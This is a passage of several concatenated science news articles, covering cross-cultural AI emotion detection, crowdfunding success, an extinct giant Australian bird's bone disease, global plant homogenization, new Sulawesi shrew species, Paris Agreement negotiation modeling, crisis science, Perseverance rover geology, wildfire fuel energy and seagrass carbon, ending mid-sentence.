researchers at Imperial College London. The database includes people from six cultures: British, Chinese, German, Greek, Hungarian, and Serbian. The preliminary findings suggest AI models can be trained on videos of people communicating in one cultural context and subsequently adapted to detect emotions from videos of people communicating in other cultural contexts. "There is a field-wide effort to collect more diverse data for AI research," she says. "The goal is to ultimately develop AI systems that are inclusive and can support people across race, age, gender, culture, and every other dimension of human diversity." Mathur, a student at USC, hopes her research will eventually contribute to AI systems that support human health and societal well-being across cultures. "There is potential for misuse of these technologies, so it is important to research how robots and AI systems can be effectively adapted across cultural contexts for assistive applications," she says. Adolphs says his team's lab meetings always include discussions on diversity and racism (the lab has a Diversity, Equity, and Inclusion representative, postdoc Nina Rouhani). "It's a topic we continue to be very concerned about. We talk about all of these issues and ask ourselves, "What else can we do?" We are continuing to emphasize issues of race and representativeness in our science." More information: Chujun Lin et al, Four dimensions characterize attributions from faces using a representative set of English trait words, Nature Communications (2021). Chujun Lin et al, Four dimensions characterize attributions from faces using a representative set of English trait words,(2021). DOI: 10.1038/s41467-021-25500-y Umit Keles et al, A Cautionary Note on Predicting Social Judgments from Faces with Deep Neural Networks, Affective Science (2021). DOI: 10.1007/s42761-021-00075-5 Journal information: Nature Communications Credit: CC0 Public Domain Not just the characteristics of a project, but also the city in which it will be implemented and the diversity of the rewards promised to supporters are the key factors that determine the success of a crowdfunding campaign even before the standard 60-day time limit set by most online entrepreneurial fundraising platforms. A study by researchers at Getulio Vargas Foundation (FGV) in Brazil analyzed more than 4,000 crowdfunding campaigns conducted locally, and for the first time identified the key factors that determine whether the fundraising goal is achieved within the said standard deadline. "Our analysis showed that more than the characteristics of the project, other factors such as inequality, educational attainment and age among the inhabitants of the host city [where the campaign takes place] can be decisive for the success of a campaign. These were curious conclusions, and we then tried to find the reasons for them," Wesley Mendes-da-Silva, second author of the article on the study published in the Journal of Business Research, told Agencia FAPESP. Mendes-da-Silva is a professor at FGV's Sao Paulo School of Business Administration (EAESP). The study was supported by FAPESP via a scholarship awarded to him for research at the University of Texas at Austin (USA). Crowdfunding is increasingly used by entrepreneurs to start a new venture. According to Mendes-da-Silva, the main attraction is the chance to finance a project without needing to take out a bank loan, rather than ease of fundraising: fewer than half of such campaigns are successful, according to most estimates. Brazilian crowdfunding campaigns increasingly adopt the all-or-nothing system, whereby the campaign is canceled if the target is not reached by the deadline set, and the investors receive their funds back or get credits for use in other campaigns on the same platform. Many campaigns also offer rewards (books, shirts, posters, courses, free music downloads, etc.) in return for donations. Time is of the essence in any campaign, Mendes-da-Silva explained. "The response comes early on. It tends to be L-shaped, with donations rising fast at the start and then slowing down and leveling off as time passes. This is the case for successful campaigns. The failures get only small contributions from the word go," he said, adding that a campaign is highly unlikely to achieve its target unless it "booms" in the first week. Key success factors A curious finding of the study is that the campaigns that succeeded fastest were based mainly in cities with more income inequality. "The reason is that many people invest in crowdfunding because they see it as an opportunity to help reduce inequality," Mendes-da-Silva said. The researchers also found that high fundraising targets tend to make success less likely. A possible solution would be to try to raise a large amount in two or more campaigns. The number of rewards may also influence the outcome. The greater the variety of "giveaways" offered in exchange for donations, the less time it takes for a successful campaign to achieve the target. The study used a statistical approach called survival analysis. "The method is typically used in medicine to determine survival time after a patient has a heart attack, for example. This can be calculated on the basis of such variables as age, weight, height, and some genetic factor," Mendes-da-Silva explained. "In our study, to determine the success of a campaign we used campaign characteristics as the variables in this model. We measured such things as individual investment, the total amount raised, and the variety of rewards offered in exchange for an investment." As a result of the study, Mendes-da-Silva is now working on another project in partnership with the Informatics Department at the Federal University of Pernambuco (UFPE), also in Brazil, to develop a campaign design algorithm. "We're developing a model to predict success using an artificial intelligence methodology," he said. "We expect to offer crowdfunding platforms an algorithm that will help them, even before a campaign begins, to have an estimate of how successful it will be. This is positive for everyoneplatforms, entrepreneurs and pledgers." More information: Israel Jose dos Santos Felipe et al, Reward crowdfunding campaigns: Time-to-success analysis, Journal of Business Research (2021). Journal information: Journal of Business Research Israel Jose dos Santos Felipe et al, Reward crowdfunding campaigns: Time-to-success analysis,(2021). DOI: 10.1016/j.jbusres.2021.09.004 Credit: Phoebe McInerney/@phoebyornis, Author provided Until around 45,000 years ago, Australia was home to Genyornis newtoni, a fearsomely huge bird weighing roughly 230kgalmost six times as much as an emuand standing 2 meters tall. This giant, from a unique group of Australian flightless birds called the dromornithids or "thunder birds," was among the largest birds that have ever lived. And then, along with many of Australia's other "megafaunal" species, it disappeared, for reasons that still remain debated. Fossils of Genyornis are mainly found at the famous South Australian fossil site of Lake Callabonna, which was first studied in 1893. This exceptional site preserves hundreds of megafaunal fossils, in the same location and in many cases the same exact body position in which they died after becoming stuck in the muddy lake bed. New research, published in the journal Papers in Paleontology, shows that getting stuck in the mud was not the birds' only concern. Bone infections also seem to have been common in this populationhighlighting the challenges these birds were facing as their species began to die out. The sickness As we worked on the fossils in the Flinders University's paleontology lab, we noticed several of the bones just didn't look quite right. They showed unusual distortions, cavities, and a "frothy" surface textureall clear signs of abnormal bone infections. Infection on the sternum or chest plate with images of the internal structures associated with the infection. Credit: PL McInerney We next looked inside the affected bones with the help of CT scans, which confirmed they had suffered abnormal development, distortion and destruction of their internal structure. Investigation into the type of illness that could cause such pathologies led to their diagnosis as osteomyelitis. Osteomyelitis is a chronic bacterial infection of bone tissue, which can be caused either by trauma that lets microbes directly enter bone tissue, or via transmission from infected soft tissues nearby. It can cause serious damage. Of the 34 partial skeletons of Genyornis, four showed signs of bone infections. But the real number is likely higher, because we couldn't assess all bones from all 34 individuals. With the chest, leg and foot regions afflicted, individuals would have suffered pain and restricted mobility. As a result, finding enough water and food around the muddy lake beds of Lake Callabonna would have become an arduous task. Disease and drought These birds seem to have suffered an unusually high rate of bone disease, compared with today's birds. This suggests the disease was not random, but instead was associated with a particular environmental causebut what? Infection on the leg of Genyornis newtoni and a life reconstruction of the injured bird. Credit: PL McInerney One way to help answer this question is to date the fossils accurately, and then to compare their plight with what we know was happening to the environment at Lake Callabonna at the time. Calculating the age of these intriguing fossils is not necessarily straightforward because, like many of Australia's extinct megafauna, they are too old for the classic radiocarbon dating method to work. So we used an alternative dating technique called single-grain optically stimulated luminescence, which reveals when sand grains in the surrounding lake sediments were deposited. This provides a useful estimate of when the birds became mired in the mud. As this dating technique applies to sediments rather than bones, it can also be used to reveal the lake history. In particular, it can distinguish between times when the lake was full of water and was accumulating mud on the lake floor, and times when it was much drier and was accumulating wind-blown sands. Our study revealed that the beleaguered Genyornis population met its demise getting stuck in sediments laid down between 54,200 and 50,400 years ago. Sediments dated from Lake Callabonna and nearby lake systems reveal that a protracted drought phase began around 50,00046,000 years ago. After this time, the permanent and extensive water body was transformed into the dry lake bed seen today. This suggests the birds' fate was sealed once the lake began to dry up. The population became trapped in the freshly exposed lake floor muds as they searched for ever-diminishing water supplies. The dating of the Lake Callabonna sediments. Credit: Lee Arnold A role in their extinction? The rare preservation of Genyornis fossils at Lake Callabonna offers an extraordinary opportunity to investigate the impact of environmental change on this now-extinct population. When resources are limited, as they would have been during these severe droughts, birds can initiate a stress response that helps them survive until the next time of plenty. But in the long term, this stress response directs resources away from the immune system, ultimately increasing the birds' susceptibility to infection and disease. Thus, it is perhaps no surprise the Genyornis bones bear the hallmarks of severe disease. There is no conclusive evidence that Genyornis survived for long beyond this time. The drying-out of the lakes they called home may have ultimately sealed their extinction fate. Explore further A case of mistaken identity for Australia's extinct big bird More information: Phoebe L. McInerney et al, Multiple occurrences of pathologies suggesting a common and severe bone infection in a population of the Australian Pleistocene giant, Genyornis newtoni (Aves, Dromornithidae), Papers in Palaeontology (2021). Phoebe L. McInerney et al, Multiple occurrences of pathologies suggesting a common and severe bone infection in a population of the Australian Pleistocene giant, Genyornis newtoni (Aves, Dromornithidae),(2021). DOI: 10.1002/spp2.1415 This article is republished from The Conversation under a Creative Commons license. Read the original article. The North American wild cucumber (Echinocystis lobata) in the Russian Altai Republic. Credit: Elena Zykova When alien plants integrate into an existing ecosystem and successfully spread, in rare cases, it can contribute to the increased uniqueness of the regional flora. However, much more often, this processknown as naturalizationleads to a homogenization of regional floras and thus to a net loss of global floristic uniqueness. Super-invaders, which are highly effective at colonizing new territory and displacing native species, are causing the flora in even distant regions with clear geographic separation to become increasingly similar. These are the findings of an international research team led by biologists from Konstanz that were published in the journal Nature Communications. Global databases used for study In their recent study, the researchers used global databases to make the first comparison of the composition of 658 regional floras from nearly all parts of the world. In addition, they investigated the influence of biogeographical and anthropogenic (i.e., man-made) factors on the increasing homogenization of regional floras. To assess the floristic uniqueness of individual regions, they took into account both the number of plant species that a region shares or does not share with other regions and the degree to which plant species are related to each other. They also included regional evolutionary histories in their analysis. An important role in the spread of alien plants and the loss of uniqueness of regional floras is played by biogeographic factors. These factors include the geographic distance between the regions under consideration and their "climatic distance" from each other, according to the study. "The more similar two regions are in terms of climate, the more likely it is that a plant from one region will succeed in establishing itself as a naturalized species in the other region, once geographic barriers have been crossed. In a sense, plants from a region with short climatic distance to their new habitat are climatically pre-adapted," says Dr. Qiang Yang, the lead author of the study. The Asian knotweed (Fallopia japonica) along a river in Austria. Credit: Franz Essl Political factors as additional driving force However, anthropogenic factors also have an impact on the spread of alien plants and the global homogenization of regional floras. For instance, the researchers say that the shared administrative history of some of the regions under consideration plays a role: Regions that are now or had been under the same political administration in the past exhibit greater homogenization in the composition of their floras. Current examples are regions that are part of the same national territory, such as different regions within the United States. Historical examples, on the other hand, are the European colonial powers and their former colonies. "Between regions of the same national territory or regions with historical colonial ties, there is or at least was lively exchange in the pastin the form of both cargo and passenger traffic. This usually also increases the exchange of plants across geographical borders, be it intentionally, as trade goods or agricultural crops, or unintentionally," Qiang Yang explains. More effective biosecurity measures needed Overall, naturalized alien plant species are driving the global homogenization of regional plant communities, and humans are making a clear contribution by spreading alien plants. "These effects are now evident even in the most remote corners of the world," reports Dr. Mark van Kleunen, Professor of Ecology in the Department of Biology at the University of Konstanz and senior author of the publication. He concludes: "Unless more effective protective measures are taken to counter the ongoing spread and naturalization of alien plants in the future, they will continue to destroy the uniqueness of our ecosystemsmaking the world a less diverse place." Explore further Global database of plants reveals human activity biggest driver of homogenization of plant communities More information: Qiang Yang et al, The global loss of floristic uniqueness, Nature Communications (2021). Journal information: Nature Communications Qiang Yang et al, The global loss of floristic uniqueness,(2021). DOI: 10.1038/s41467-021-27603-y Crocidura pallida, one of the 14 species discovered by Jake Esselstyn and his team. Credit: Kevin Rowe Researchers recently made a major discovery14 new species of shrews, which is the largest number of new mammals described in a scientific paper since 1931. After a decade-long journey taking inventory of Indonesian shrews living on the island of Sulawesi, a group of scientists led by LSU mammologist Jake Esselstyn has identified 14 new endemic species. The findings are detailed in the recently published paper, "Fourteen New, Endemic Species of Shrew (Genus Crocidura) from Sulawesi Reveal a Spectacular Island Radiation," in a new issue of the Bulletin of the American Museum of Natural History. Joining Esselstyn's research journey was current LSU doctoral student Heru Handika and LSU alumnus Mark Swanson, along with Anang Achmadi from the Indonesian Institute of Sciences in Cibinong, Indonesia; Thomas Giarla from Siena College in Loudonville, N.Y.; and Kevin Rowe from Museums Victoria in Melbourne, Australia. "It's an exciting discovery, but was frustrating at times," said Esselstyn, curator of mammals at the LSU Museum of Natural Science and associate professor in the Department of Biological Sciences. "Usually, we discover one new species at a time, and there is a big thrill that comes from it. But in this case, it was overwhelming because for the first several years, we couldn't figure out how many species there were." A clearer picture began to emerge once the research team examined an extensive collection of genetic and morphological data from new specimens they collected between 2010 and 2018, combined with old specimens collected in 1916. In total, the group examined nearly 1,400 specimens, and they recognized 21 species on Sulawesi, including the 14 new species. The known diversity of shrews on Sulawesi is now three times more than is known from any other island. Elongata subgroup skulls. Credit: Jake Esselstyn Shrews are a diverse group of mammals461 species have been identified so farand they have a nearly global distribution. These small insectivorous animals are closer relatives to hedgehogs and moles than to any other mammals. This discovery is a major milestone in Esselstyn's research. He first became interested in testing ecological and evolutionary hypotheses that might explain shrew diversity in Indonesia when he was a graduate student at the University of Kansas. After finishing his degree, Esselstyn and Achmadi began capturing shrews on the island in 2010, and they soon realized there were too many undocumented species to test those ideas. Now that he feels he has a handle on the shrew diversity of the island, Esselstyn is interested in exploring the geographic, geological and biological factors that have contributed to Sulawesi's extraordinary biodiversity. "Taxonomy serves as the foundation of so much biological research and conservation effort. When we don't know how many species there are or where they live, our capacity to understand and preserve life is severely limited. It's essential that we document and name that diversity," Esselstyn said. "If we can make discoveries of this many new species in relatively well-known groups like mammals, imagine what the undocumented diversity is like in less conspicuous organisms." Explore further Researchers discover the Sulawesi hairy-tailed shrew More information: Jacob A. Esselstyn et al, Fourteen New, Endemic Species of Shrew (Genus Crocidura) from Sulawesi Reveal a Spectacular Island Radiation, Bulletin of the American Museum of Natural History (2021). Jacob A. Esselstyn et al, Fourteen New, Endemic Species of Shrew (Genus Crocidura) from Sulawesi Reveal a Spectacular Island Radiation,(2021). DOI: 10.1206/0003-0090.454.1.1 Credit: CC0 Public Domain Achieving consensus among countries in global climate negotiations is a long and complicated process. Researchers at Linkoping University have developed a mathematical model that describes the achievement of the 2015 Paris Agreement and that may contribute to more efficient negotiations when striving for unanimity. Global climate targets have been in focus this autumn as world leaders met at COP26 in Glasgow. The intention was that countries would negotiate how to work together to keep the global temperature rise below two degrees Celsius, and preferably below 1.5 degrees. Climate agreements need unanimity, and achieving unanimity takes time, commitment, and a good organization structure. The Paris Agreement in 2015, for example, was the result of complex diplomatic negotiations that took more than a decade to complete. And the time aspect is something that researchers at Linkoping University have examined in depth. "Our model investigates how the negotiations should be organized in order to achieve unanimity, and what factors can slow down or speed up convergence," says Claudio Altafini, professor in the Division for Automatic Control, Department of Electrical Engineering, at Linkoping University. The results have been published in the scientific journal Science Advances. Based on observed data The model is dynamical and based on observed data from the documents and the minutes of nearly 300 UN-sponsored climate conferences in the period 2001-2015, leading to the Paris Agreement. The documents have enabled the LiU researchers to investigate, among other things, the pattern according to which countries participated and expressed their opinions in the sequence of meetings. The model shows how countries influence each other as time passes. Consensus, in the form of the Paris Agreement, was reached after more than a decade of negotiations, and is also predicted by the model on a similar time scale. "Our model shows that a key to achieving unanimity is that all parties are involved in the negotiations at some stage. Plenary sessions like COP are crucial in this respect, everyone participates and receives an up-to-date summary of the discussions. On the other hand, plenary sessions are very dispersive and time-consuming, which is why it is often more reasonable to use a structure that keeps everybody informed without using plenary sessions per se. This is one aspect that a model such as the one we have developed can help to understand." The model also has a certain predictive value. The key actors in the negotiation process that have been identified by the model are highly consistent with those mentioned in the media and in the scientific literature, explains Claudio Altafini: "For example, the EU played a leading role, especially in the early years. As 2015 approached, countries like China and India increased their negotiation power, which we can see in our model. This validates its underlying principles," says Claudio Altafini Other questions that the model can help answer are how often countries should meet, and which parties should participate in which meetings to give maximum probability that unanimity is reached. However, there is always a risk of over-simplification, explains Claudio Altafini. "Our description of the Paris Agreement can only capture the formal part of the negotiations presented in the minutes of the various meetings, not all the informal discussions that take place behind closed doors." Applicable in other fields The model has been developed to analyze the structure of the negotiations for the Paris Agreement, but it can also be used in other complex negotiations. One example comes from the business world, when unanimity is required among the board directors to conclude a deal. One important feature of the research is that the model is not an abstract mathematical construction,but based on concrete problems. "What happens most often in this research field is that there is a gap between the mathematical model and the real world. In contrast, we have taken a real-life problem and built a model around it." The work belongs to a line of research that tries to model opinion dynamics. The basic task is to understand the mechanisms that are encoded when individuals, parties or national delegations interact with each other. The task is also to analyze how this influences the collective behavior, which determines whether agreement can be reached, or if instead the parties become polarized, or cluster into groups of distinct opinions. The research has been carried out in collaboration between researchers at Linkoping University and in Italy, China and Australia. More information: Carmela Bernardo et al, Achieving consensus in multilateral international negotiations: The case study of the 2015 Paris Agreement on climate change, Science Advances (2021). Journal information: Science Advances Carmela Bernardo et al, Achieving consensus in multilateral international negotiations: The case study of the 2015 Paris Agreement on climate change,(2021). DOI: 10.1126/sciadv.abg8068 Then-Secretary of State John Kerry praised the work of crisis archaeologists as the gold standard in a 2014 speech about the looting of cultural artifacts. Credit: U.S. Department of State, CC BY 4.0 How can you know that science done quickly during a crisis is good science? This question has taken on new relevance with the COVID-19 vaccine rollout. Researchers developed vaccines in under a yeareasily breaking the previous record of four years. But that pace of development may be part of the reason about 1 in 7 unvaccinated adults in the U.S. say they will never get the COVID-19 shot. This is in spite of continued assurances from infectious disease experts that the vaccines are safe. Scientists are called on to come up with answers under pressure whenever there is a crisis, from the Challenger space shuttle explosion to the 2020 California wildfires. As they shift from "regular" to "crisis" research, they must maintain rigorous standards despite long hours, mentally demanding tasks and persistent outside scrutiny. Thankfully, science produced under urgent conditions can be just as robust and safe as results produced under normal conditions. We are two social scientists interested in understanding how researchers can best work on urgent problems and deliver useful findings. In a recent study, we focused on "conflict archaeologists," an interdisciplinary group tasked with rapid assessments of archaeological destruction in Syria during the war between 2014 and 2017. Observers feared that one particular form of destruction, artifact looting, was a major source of revenue for terrorist groups, including the Islamic State. Prominent policymakers, security officials and a worried public wanted clear answers, quickly. By any measure, conflict archaeologists succeeded. They produced findings that improved scientific knowledge. Their research led to a landmark bipartisan bill signed by President Obama. Perhaps most importantly, they raised public awareness of the problems associated with looting and smuggling archaeological materials. Our latest research aimed to understand how work cultures played a role in these achievementsand what lessons can be applied in crisis science across disciplines. What worked for conflict archaeologists To investigate, we interviewed 35 conflict archaeologists and other scientists who worked with them. We also observed work in satellite labs and team meetings, and talked to people who used the data and analysis created by conflict archaeologists. Those we interviewed worked in different physical locations and across multiple disciplines. If they met, they would do so remotely. And yet they were generally aware of what others in this research area were doing. Collaboration is central to doing good urgent science, and we found three key factors behind successfully working together during a crisis. First, the percentage and distribution of effort matters. We call this "temporal control." We found that full-time devotion to crisis science was not necessarily the only way to produce good work. In fact, researchers involved on a part-time basis expressed higher confidence in the quality of other collaborators' work. We think part-timers were able to maintain a more comprehensive perspective on the collaboration overall. And keeping a hand in their usual scientific practices seemed to help researchers stay sharp. It meant that when they turned to urgent science tasks, they could do so with fresh eyes and renewed attention to methodological precision. Second, sharing responsibility for outcomes motivated researchers to generate rapid findings for policy and public-interest needs. We call this "responsibility control." Effective conflict archaeologists distributed credit among collaborators. They translated their objectives and priorities for policymakers and set boundaries and expectations for understanding and using their findings. As a result, they could do their work with the knowledge that they stood with a teamproducing accurate findings that could be used to combat artifact looting and trafficking was not any one individual's sole responsibility. Finally, it was important to have limits around the extent of an individual's personal involvement. This is "scope control," a work environment that helped scientists set boundaries between the research and their personal lives. "It was exhausting," one respondent told us. "I tried not to take the work home with me, but I know it was starting to affect my family life." Scientists who were able to control the scope of their work, and to speak openly about their challenges, were more likely to stick with the project and express confidence in the strength of the research. We hypothesize that those who are able to set borders around what and how much work they took on were in a better position to assess the strength of both their own research and that of othersand thus feel confident in it. Creating the conditions for good crisis science Generating high-quality, safe and reliable scientific research under pressure is not a matter of having a heroic personality or superhuman stamina. It is a matter of thoughtful, deliberate work environments and being part of professional fields that support their members even as they hold them to high standards of rigor and ethics. To be sure, no two crises are identical. At the same time, crisis science best practices can be adapted to fit the specific circumstances of the project. Global pandemics or imminent environmental catastrophe may require short, intensive, full-time bursts of work. Some research projects are lab- or equipment-sensitive and require specific personnel. As our findings show, science conducted with a supportive infrastructure, with rigor and ethics built into the process, can produce reliable results under pressure. Like COVID-19 researchers, conflict archaeologists worked with tight deadlines under intense scrutiny. Both groups also emphasized the need for researchers to continue to employ high ethical standards in the research process. And understanding how scientists maintain their ethics and rigor while working under difficult conditions is essential for maintaining the public's trust in science. This much is certain: Crises aren't going away. As long as society is relying on scientists for solutions, it's important to create conditions conducive to effective research. Explore further The climate crisis gives science a new role: How research ethics must change too This article is republished from The Conversation under a Creative Commons license. Read the original article. This graphic depicts Perseverance's entry into "Seitah" from both an orbital and subsurface perspective. The lower image is a subsurface "radargram" from the rover's RIMFAX instrument; the red lines indicate link subsurface features to erosion-resistant rocky outcrops visible above the surface. Credit: NASA/JPL-Caltech/University of Arizona/USGS/FFI Scientists with NASA's Perseverance Mars rover mission have discovered that the bedrock their six-wheeled explorer has been driving on since landing in February likely formed from red-hot magma. The discovery has implications for understanding and accurately dating critical events in the history of Jezero Crateras well as the rest of the planet. The team has also concluded that rocks in the crater have interacted with water multiple times over the eons and that some contain organic molecules. These and other findings were presented today during a news briefing at the American Geophysical Union fall science meeting in New Orleans. Even before Perseverance touched down on Mars, the mission's science team had wondered about the origin of the rocks in the area. Were they sedimentarythe compressed accumulation of mineral particles possibly carried to the location by an ancient river system? Or where they igneous, possibly born in lava flows rising to the surface from a now long-extinct Martian volcano? "I was beginning to despair we would never find the answer," said Perseverance Project Scientist Ken Farley of Caltech in Pasadena. "But then our PIXL instrument got a good look at the abraded patch of a rock from the area nicknamed "South Seitah," and it all became clear: The crystals within the rock provided the smoking gun." The drill at the end of Perseverance's robotic arm can abrade, or grind, rock surfaces to allow other instruments such as PIXL to study them. Short for Planetary Instrument for X-ray Lithochemistry, PIXL uses X-ray fluorescence to map the elemental composition of rocks. On Nov. 12, PIXL analyzed a South Seitah rock the science team had chosen to take a core sample from using the rover's drill. The PIXL data showed the rock, nicknamed "Brac," to be composed of an unusual abundance of large olivine crystals engulfed in pyroxene crystals. "A good geology student will tell you that such a texture indicates the rock formed when crystals grew and settled in a slowly cooling magmafor example a thick lava flow, lava lake, or magma chamber," said Farley. "The rock was then altered by water several times, making it a treasure trove that will allow future scientists to date events in Jezero, better understand the period in which water was more common on its surface, and reveal the early history of the planet. Mars Sample Return is going to have great stuff to choose from." The multi-mission Mars Sample Return campaign began with Perseverance, which is collecting Martian rock samples in search of ancient microscopic life. Of Perseverance's 43 sample tubes, six have been sealed to datefour with rock cores, one with Martian atmosphere, and one that contained "witness" material to observe any contamination the rover might have brought from Earth. Mars Sample Return seeks to bring select tubes back to Earth, where generations of scientists will be able to study them with powerful lab equipment far too large to send to Mars. Still to be determined is whether the olivine-rich rock formed in a thick lava lake cooling on the surface or in a subterranean chamber that was later exposed by erosion. Taken by Perseverances Mastcam-Z instrument, this video features an enhanced-color composite image that pans across Jezero Craters delta on Mars. The delta formed billions of years ago from sediment an ancient river carried to the mouth of a lake that once existed in the crater. Credit: NASA/JPL-Caltech/ASU/MSSS Organic molecules Also great news for Mars Sample Return is the discovery of organic compounds by the SHERLOC (Scanning Habitable Environments with Raman & Luminescence for Organics & Chemicals) instrument. The carbon-containing molecules are not only in the interiors of abraded rocks SHERLOC analyzed, but in the dust on non-abraded rock. Confirmation of organics is not a confirmation that life once existed in Jezero and left telltale signs (biosignatures). There are both biological and non-biological mechanisms that create organics. "Curiosity also discovered organics at its landing site within Gale Crater," said Luther Beegle, SHERLOC principal investigator at NASA's Jet Propulsion Laboratory in Southern California. "What SHERLOC adds to the story is its capability to map the spatial distribution of organics inside rocks and relate those organics to minerals found there. This helps us understand the environment in which the organics formed. More analysis needs to be done to determine the method of production for the identified organics." The preservation of organics inside ancient rocksregardless of originat both Gale and Jezero Craters does mean that potential biosignatures (signs of life, whether past or present) could be preserved, too. "This is a question that may not be solved until the samples are returned to Earth, but the preservation of organics is very exciting. When these samples are returned to Earth, they will be a source of scientific inquiry and discovery for many years," Beegle said. Six facsimile sample tubes hang on the sample tube board. Credit: NASA/JPL-Caltech 'Radargram' Along with its rock-core sampling capabilities, Perseverance has brought the first ground-penetrating radar to the surface of Mars. RIMFAX (Radar Imager for Mars' Subsurface Experiment) creates a "radargram" of subsurface features up to about 33 feet (10 meters) deep. Data for this first released radargram was collected as the rover drove across a ridgeline from the "Crater Floor Fractured Rough" geologic unit into the Seitah geologic unit. The ridgeline has multiple rock formations with a visible downward tilt. With RIMFAX data, Perseverance scientists now know that these angled rock layers continue at the same angle well below the surface. The radargram also shows the Seitah rock layers project below those of Crater Floor Fractured Rough. The results further confirm the science team's belief that the creation of Seitah preceded Crater Floor Fractured Rough. The ability to observe geologic features even below the surface adds a new dimension to the team's geologic mapping capabilities at Mars. More information: For more about Perseverance: mars.nasa.gov/mars2020/ and nasa.gov/perseverance The Teakettle Experiment was implemented in 1997 to quantify the effects of fire and thinning on the ecosystem. Credit: UNM New research conducted by scientists at The University of New Mexico suggests climate-driven tree mortality and fuel aridity are increasing fuel availability in forests leading to record-breaking wildfires in size, spread and plume formation. In North America, wildfire activity has been increasing in large part due to climate change, which is increasing the amount of energy stored in biomass that can be released as heat during wildfire. Drought stress, insect outbreaks, and temperature increases have caused large areas of tree mortality and rising temperatures are drying out forest fuels, making them more available to burn. The amount of energy stored in forests that is available for release from fire depends on the amount of water stored in live and dead biomass, which acts as a regulator on the amount and rate of energy release. Fuel moisture of dead biomass is more responsive and fire prone with increasing temperature than live biomass and the combined effects of tree mortality and high temperature could be responsible for the substantial energy release that has characterized modern wildfires. The research, "Climate-driven tree mortality and fuel aridity increase wildfire's potential heat flux," conducted by UNM scientists Marissa Goodwin and Matthew Hurteau, was published recently in Geophysical Research Letters. The study, which considered tree mortality as a result of climate change and an increase in fuel aridity, used temperature and fuel moisture data for both live and dead trees to examine climate-driven changes in fuel moisture content over the past three decades. The scientists also calculated the changes in energy release (energy release component and fire radiative energy) from two forests that experienced drought and bark beetle mortality and subsequently burned by wildfires during the 2020 fire season in the western United States. The Creek Fire in California's Sierra Nevada was the fifth largest in modern California history. It burned in an area where the 2012-2016 drought and subsequent bark beetle outbreak resulted in widespread tree mortality, while the Cameron Peak Fire in the Colorado Rocky Mountains, which was the largest in Colorado history, burned through forest with large numbers of bark beetle-killed trees. The two forests differ in climate with mixed-conifer forests in California's Mediterranean climate being seasonally dry while Colorado's lodgepole pine forests are cool and wet, but fire intensity in both areas is influenced by fuel moisture and fuel availability. "We found that tree mortality transitioned substantial amounts of biomass from live to dead pools," says Goodwin, a master's student in the UNM Department of Biology and lead author of the paper. "Coupled with climate-driven decreases in fuel moisture content, this change in fuel availability increased the amount of energy that could be released as heat during wildfire in these forests. These results demonstrate that climate-driven tree mortality and fuel aridity may be increasing the amount of energy that is released during wildfire." Goodwin has been a project manager of The Teakettle Experiment since 2016, a project currently managed by Hurteau as part of his Earth Systems Ecology Lab. The Teakettle Experiment was implemented in 1997 to quantify the effects of forest management techniques (prescribed burning and mechanical thinning) on the ecosystem. The Creek Fire was a large wildfire that started on September 4, 2020, near Shaver Lake, Calif. The fire burned 379,895 acres (153,738 ha) and took 3 1/2 months to fully contain. Credit: UNM The tree mortality numbers are staggering in those forests providing ample dead fuel for wildfire to burn. In the Sierra National Forest, an estimated 36 million trees have died from drought and bark beetle mortality over the past five years, which is approximately 25 percent of the trees in the Sierra National Forest. In the area where the Creek Fire burned, a CALFIRE summary reported estimates of 80 percent tree mortality. In Colorado, Forest Inventory and Analysis Data estimates of lodgepole pine mortality from Mountain Pine Beetle infestation range from 40-50 percent, while 87 percent of the area in Colorado containing lodgepole pine has been affected by mortality, which is approximately 3.4 million acres. "The amount of vegetation that's available to burn is controlled by how much water that vegetation stores," said Hurteau, a professor in the UNM Department of Biology and also co-author on the paper. "As we move trees from the live column to the dead column because of insects and drought, they're not taking up water the way a live plant does. They hold a lot less water and become more available to burn. It is similar to building a campfire, dry wood makes a better fire than wet wood." "The 2020 Creek Fire was coming off a substandard winter so there wasn't great precipitation that winter. Then the temperatures were really high that spring and summer, which caused all that dead wood from the 2012 to 2016 drought to dry out and become available to burn. There is a demonstrated positive relationship where as temperature goes up, more area burns." The scientists, including Harold Zald and Malcolm North, from the USDA Forest Service, Pacific Northwest Research Station, and USDA Forest Service, Pacific Southwest Research Station, respectively, were interested not only in the ecosystem burning, but how it burns. "We're trying to understand the relationship between the climate piece and how all this tree mortality from drought and insects is going to change the amount of fuel available," said Hurteau. "When you have all that additional fuel from all the dead trees, it's going to burn a lot hotter. In the Creek Fire, the plume was 50,000 feet in the air so that was a lot of energy moving out of the system. When you release that much energy, the fire creates its own weather, and you get really extreme behavior." "What I found most telling (from the research) is that high temperatures in 2020 resulted in lower fuel moisture contents and higher calculated energy release than we saw during the drought periods these two forests experienced," said Goodwin. "Drought and beetle mortality transitioned a substantial amount of biomass on these landscapes from the live fuel to dead fuel types. When you have all this dead fuel and then also turn up the thermostat, everything was just primed to burn when those two fires occurred." More information: Marissa J. Goodwin et al, Climatedriven tree mortality and fuel aridity increase wildfire's potential heat flux, Geophysical Research Letters (2021). Marissa J. Goodwin et al, Climatedriven tree mortality and fuel aridity increase wildfire's potential heat flux,(2021). DOI: 10.1029/2021GL094954 Christian Lopes from Florida International University (left) and Bryce van Dam from Helmholtz-Zentrum Hereon (right) installed the Eddy Covariance instruments off the coast of Florida. Credit: Hereon/Bryce van Dam Through the resettlement of seagrass meadows on the coasts, large amounts of carbon dioxide from the atmosphere are to be removed in the future to combat climate change. Be aware, however: Seagrass meadows can, under certain conditions, release more carbon dioxide than they absorb, as is now shown by a Helmholtz-Zentrum Hereon study published in the scientific journal Science Advances. Whether the recultivation of sea grass meadows makes sense ultimately depends on the location. To avert the worst consequences of climate change, humanity needs to considerably reduce the amount carbon dioxide (CO 2 ), a greenhouse gas, in the atmosphere over the coming years. To this end, a common suggestion is to restore natural CO 2 reservoirs on the coasts that have been destroyed in many locations during the past decades. This includes mangrove forests, salt marshes and what are known as seagrass meadows. Seagrasses are aquatic plants that thrive in shallow, light-flooded water and are anchored by their roots to the soft seabed. For many animal species, such as manatees that live in tropical waters, seagrass meadows are vital grazing grounds. At the same time, they serve as nurseries all over the world for numerous young fish. All of these plants absorb CO 2 in order to develop their tissue. When these plants die, they become deposited in the sediment of the seabed. This is how a portion of the carbon dioxide, which the plants originally absorbed from the air, is stored in the sediment. The reforestation of mangrove forests and the regeneration of saline and seagrass meadows are now grouped under the term "blue carbon methods." These methods were originally meant to serve coastal protection and restoration of valuable ecosystems. As they are nature based, they are now considered by many scientists among the most vital measures to combat climate change. Targeting tropical seagrass meadows As biogeochemist Dr. Bryce Van Dam from the Helmholtz-Zentrum Hereon has now been able to demonstrate, the fight against climate change 